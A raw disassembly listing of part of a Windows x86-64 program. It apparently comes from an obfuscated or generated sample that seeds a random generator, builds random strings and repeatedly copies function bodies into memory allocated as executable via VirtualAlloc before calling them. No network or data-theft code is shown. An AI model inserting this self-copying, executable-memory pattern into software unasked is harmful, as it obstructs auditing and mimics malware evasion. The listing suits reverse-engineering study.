mov r8d, dword [rbp + 0x1548]
lea rdx, [rbp + 0x5660]
lea rcx, [rbp + 0x1548]
call fcn.140009bf0
mov ebx, eax
mov r9d, dword [rbp + 0x154c]
mov r8d, dword [rbp + 0x1548]
lea rdx, [rbp + 0x5660]
lea rcx, [rbp + 0x1548]
call fcn.140009bf0
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x1589]
call fcn.1400218b0
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rcx, [rbp + 0x16e0]
call fcn.1400047a0
sub r14, 1
jne 0x14000dba0
lea rcx, [rbp + 0x7d0]
call fcn.140009fc0
mov rsi, qword [rbp - 0x80]
mov qword [rbp + 8], rsi
mov rax, qword [rax]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.140021870
test al, al
js 0x14000db90
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x2c20]
call fcn.140004eb0
nop
lea rcx, [rbp + 0x1710]
call fcn.140021e60
call fcn.140024c3c
mov dword [rbp + 0x7d74], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x69f0]
call fcn.1400068a0
mov dword [rbp + 0x1550], 0xffffff9c
mov dword [rbp + 0x1554], 0x64
movups xmmword [rbp + 0x1948], xmm10
mov dword [rsp + 0x60], r12d
movsd qword [rsp + 0x68], xmm15
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1788], xmm0
mov qword [rbp + 0x1798], rax
lea rcx, [rbp + 0x1788]
call fcn.140008aa0
nop
lea rcx, [rbp + 0x7d8]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x320]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x1788]
call fcn.140022230
nop
lea rcx, [rbp + 0x320]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x7d8]
call fcn.1400086c0
lea rcx, [rbp + 0x7e0]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0x328]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x328]
lea rcx, [rbp + 0x1788]
call fcn.140022230
nop
lea rcx, [rbp + 0x328]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x7e0]
call fcn.1400086c0
lea rcx, [rbp + 0x7e8]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0x330]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x1788]
call fcn.140022230
nop
lea rcx, [rbp + 0x330]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x7e8]
call fcn.1400086c0
lea rcx, [rbp + 0x7f0]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0x338]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x338]
lea rcx, [rbp + 0x1788]
call fcn.140022230
nop
lea rcx, [rbp + 0x338]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x7f0]
call fcn.1400086c0
lea rcx, [rbp + 0x7f8]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x340]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x1788]
call fcn.140022230
nop
lea rcx, [rbp + 0x340]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x7f8]
call fcn.1400086c0
lea rcx, [rbp + 0x800]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x348]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x348]
lea rcx, [rbp + 0x1788]
call fcn.140022230
nop
lea rcx, [rbp + 0x348]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x800]
call fcn.1400086c0
lea rcx, [rbp + 0x2400]
call fcn.140009fc0
mov qword [rbp + 0x810], 0x64
mov rax, qword [rbp + 0x2400]
mov qword [rbp + 0x818], rax
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x818]
lea rcx, [rbp + 0xea0]
call fcn.140022100
mov rsi, qword [rax]
mov qword [rbp - 0x80], rsi
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x2c40]
call fcn.140005020
nop
lea rcx, [rbp + 0x838]
call fcn.140009fc0
mov qword [rbp + 0x18], rsi
mov rax, qword [rax]
mov qword [rbp + 0x20], rax
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x20]
call fcn.140021870
test al, al
jns 0x14000ff07
mov r14d, 0x2710
lea rsi, [rbp + 0x15798]
nop
mov r9d, dword [rbp + 0x1554]
mov r8d, dword [rbp + 0x1550]
lea rdx, [rbp + 0x69f0]
lea rcx, [rbp + 0x1550]
call fcn.140009bf0
mov rbx, qword [rbp + 0x1790]
sub rbx, qword [rbp + 0x1788]
sar rbx, 3
mov r9d, dword [rbp + 0x1554]
mov r8d, dword [rbp + 0x1550]
lea rdx, [rbp + 0x69f0]
lea rcx, [rbp + 0x1550]
call fcn.140009bf0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x1788]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
mov r9d, dword [rbp + 0x1554]
mov r8d, dword [rbp + 0x1550]
lea rdx, [rbp + 0x69f0]
lea rcx, [rbp + 0x1550]
call fcn.140009bf0
mov r8d, eax
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call rbx
mov dword [rsp + 0x60], eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2160], xmm0
mov qword [rbp + 0x2170], rax
mov rdx, rsi
lea rcx, [rbp + 0x2160]
call fcn.140009f70
nop
mov dword [rbp + 0x1648], r12d
mov dword [rbp + 0x164c], 0x19
lea rcx, [rbp + 0x2c40]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x2c40]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x14000efed
nop dword [rax + rax]
mov r9d, dword [rbp + 0x164c]
mov r8d, dword [rbp + 0x1648]
lea rdx, [rbp + 0x69f0]
lea rcx, [rbp + 0x1648]
call fcn.140009bf0
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x14000efc0
mov rcx, qword [rbp + 0x2160]
xor rcx, qword [rbp + 0x2168]
mov qword [rbp + 0x2160], rcx
mov rax, qword [rbp + 0x2170]
mov qword [rax], rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1650], xmm0
mov qword [rbp + 0x1660], rax
lea rcx, [rbp + 0x1650]
call fcn.140008aa0
mov edx, 0x64
lea rcx, [rbp + 0x1650]
call fcn.1400074f0
nop
lea rax, [rbp + 0x1550]
mov qword [rbp + 0x9b0], rax
lea rax, [rbp + 0x69f0]
mov qword [rbp + 0x9b8], rax
movups xmm6, xmmword [rbp + 0x9b0]
lea rdx, [rbp + 0xea8]
lea rcx, [rbp + 0x1650]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xeb0]
lea rcx, [rbp + 0x1650]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp + 0xeb8]
lea rcx, [rbp + 0x1650]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xec0]
lea rcx, [rbp + 0x1650]
call fcn.140021420
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400221a0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2178], xmm0
mov qword [rbp + 0x2188], rax
mov rdx, rsi
lea rcx, [rbp + 0x2178]
call fcn.140009f70
nop
mov dword [rbp + 0x1a68], 0xffffff9c
mov dword [rbp + 0x1a6c], 0x64
lea rax, [rbp + 0x1a68]
mov qword [rbp + 0x9a0], rax
lea rax, [rbp + 0x69f0]
mov qword [rbp + 0x9a8], rax
movups xmm6, xmmword [rbp + 0x9a0]
lea rdx, [rbp + 0xec8]
lea rcx, [rbp + 0x1650]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp + 0xed0]
lea rcx, [rbp + 0x1650]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xed8]
lea rcx, [rbp + 0x1650]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xee0]
call fcn.140021780
lea rdx, [rbp + 0xee8]
lea rcx, [rbp + 0x1650]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xef0]
lea rcx, [rbp + 0x1650]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021f90
nop
mov rcx, qword [rbp + 0x2178]
xor rcx, qword [rbp + 0x2180]
mov qword [rbp + 0x2178], rcx
mov rax, qword [rbp + 0x2188]
mov qword [rax], rcx
lea rdx, [rbp + 0x69f0]
lea rcx, [rbp + 0x1948]
call fcn.140021f10
movaps xmm6, xmm0
lea rdx, [rbp + 0x69f0]
lea rcx, [rbp + 0x1948]
call fcn.140021f10
movsd qword [rbp + 0x1b20], xmm0
movsd qword [rbp + 0x1b28], xmm6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2208], xmm0
mov qword [rbp + 0x2218], rax
mov rdx, rsi
lea rcx, [rbp + 0x2208]
call fcn.140009f70
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2190], xmm0
mov qword [rbp + 0x21a0], rax
mov rdx, rsi
lea rcx, [rbp + 0x2190]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a520]
lea rbx, [0x140021750]
test rax, rax
je 0x14000f2b9
nop dword [rax + rax]
cmp rax, rbx
je 0x14000f2a6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a520]
test rax, rax
jne 0x14000f290
jmp 0x14000f2b9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69230]
test r8, r8
jne 0x14000f39f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000f2e2
mov r8, r12
jmp 0x14000f37e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000f2f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
mov qword [r13 + rax*8 + 0x6a520], rbx
mov qword [r13 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x1b20]
lea rcx, [0x140009f30]
call r8
nop
mov rcx, qword [rbp + 0x2190]
xor rcx, qword [rbp + 0x2198]
mov qword [rbp + 0x2190], rcx
mov rax, qword [rbp + 0x21a0]
mov qword [rax], rcx
addsd xmm0, xmm7
movsd qword [rbp + 0x820], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x21a8], xmm0
mov qword [rbp + 0x21b8], rax
mov rdx, rsi
lea rcx, [rbp + 0x21a8]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14000f439
nop
cmp rax, r15
je 0x14000f426
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14000f410
jmp 0x14000f439
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14000f51f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000f462
mov r8, r12
jmp 0x14000f4fe
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000f470
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1b28]
lea rcx, [0x14002ed10]
call r8
movaps xmm9, xmm0
mov rcx, qword [rbp + 0x21a8]
xor rcx, qword [rbp + 0x21b0]
mov qword [rbp + 0x21a8], rcx
mov rax, qword [rbp + 0x21b8]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x21c0], xmm1
mov qword [rbp + 0x21d0], rax
mov rdx, rsi
lea rcx, [rbp + 0x21c0]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006d450]
lea rbx, [0x140021750]
test rax, rax
je 0x14000f5b9
nop dword [rax]
cmp rax, rbx
je 0x14000f5a6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d450]
test rax, rax
jne 0x14000f590
jmp 0x14000f5b9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x68be0]
test r8, r8
jne 0x14000f69f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000f5e2
mov r8, r12
jmp 0x14000f67e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000f5f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
mov qword [r13 + rax*8 + 0x6d450], rbx
mov qword [r13 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rbp + 0x820]
lea rcx, [0x14002e7e0]
call r8
movaps xmm8, xmm0
mov rcx, qword [rbp + 0x21c0]
xor rcx, qword [rbp + 0x21c8]
mov qword [rbp + 0x21c0], rcx
mov rax, qword [rbp + 0x21d0]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x21d8], xmm1
mov qword [rbp + 0x21e8], rax
mov rdx, rsi
lea rcx, [rbp + 0x21d8]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14000f72e
cmp rax, r15
je 0x14000f71b
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14000f705
jmp 0x14000f72e
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14000f811
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000f757
mov r8, r12
jmp 0x14000f7f0
mov rax, r15
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000f762
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1b28]
lea rcx, [0x14002e260]
call r8
movaps xmm6, xmm0
mov rcx, qword [rbp + 0x21d8]
xor rcx, qword [rbp + 0x21e0]
mov qword [rbp + 0x21d8], rcx
mov rax, qword [rbp + 0x21e8]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x21f0], xmm1
mov qword [rbp + 0x2200], rax
mov rdx, rsi
lea rcx, [rbp + 0x21f0]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14000f89f
cmp rax, r15
je 0x14000f88c
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14000f876
jmp 0x14000f89f
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14000f98f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000f8c8
mov r8, r12
jmp 0x14000f96e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000f8e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1b20]
lea rcx, [0x14002dcf0]
call r8
nop
mov rcx, qword [rbp + 0x21f0]
xor rcx, qword [rbp + 0x21f8]
mov qword [rbp + 0x21f0], rcx
mov rax, qword [rbp + 0x2200]
mov qword [rax], rcx
mulsd xmm6, xmm0
addsd xmm6, xmm8
subsd xmm6, xmm9
mov rcx, qword [rbp + 0x2208]
xor rcx, qword [rbp + 0x2210]
mov qword [rbp + 0x2208], rcx
mov rax, qword [rbp + 0x2218]
mov qword [rax], rcx
addsd xmm6, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm6
mov dword [rbp + 0x50], 3
lea rdx, [rbp + 0x69f0]
lea rcx, [rbp + 0x1948]
call fcn.140021f10
movsd qword [rbp + 0x828], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2220], xmm0
mov qword [rbp + 0x2230], rax
mov rdx, rsi
lea rcx, [rbp + 0x2220]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006c170]
lea rbx, [0x140021830]
test rax, rax
je 0x14000fa7d
cmp rax, rbx
je 0x14000fa6a
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c170]
test rax, rax
jne 0x14000fa54
jmp 0x14000fa7d
mov eax, ecx
mov r9, qword [r13 + rax*8 + 0x6b7f0]
test r9, r9
jne 0x14000fb60
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14000faa6
mov r9, r12
jmp 0x14000fb3f
mov rax, rbx
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000fab1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
mov qword [r13 + rax*8 + 0x6c170], rbx
mov qword [r13 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x828]
lea rcx, [0x140009f50]
call r9
nop
mov rcx, qword [rbp + 0x2220]
xor rcx, qword [rbp + 0x2228]
mov qword [rbp + 0x2220], rcx
mov rax, qword [rbp + 0x2230]
mov qword [rax], rcx
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
lea rdx, [rbp + 0x69f0]
lea rcx, [rbp + 0x1948]
call fcn.140021f10
movsd qword [rbp + 0x830], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2238], xmm0
mov qword [rbp + 0x2248], rax
mov rdx, rsi
lea rcx, [rbp + 0x2238]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a840]
lea rbx, [0x140021750]
test rax, rax
je 0x14000fc29
nop dword [rax]
cmp rax, rbx
je 0x14000fc16
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a840]
test rax, rax
jne 0x14000fc00
jmp 0x14000fc29
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69ba0]
test r8, r8
jne 0x14000fd0f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000fc52
mov r8, r12
jmp 0x14000fcee
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000fc60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
mov qword [r13 + rax*8 + 0x6a840], rbx
mov qword [r13 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rbp + 0x830]
lea rcx, [0x140009f60]
call r8
nop
mov rcx, qword [rbp + 0x2238]
xor rcx, qword [rbp + 0x2240]
mov qword [rbp + 0x2238], rcx
mov rax, qword [rbp + 0x2248]
mov qword [rax], rcx
mulsd xmm0, qword [rsp + 0x68]
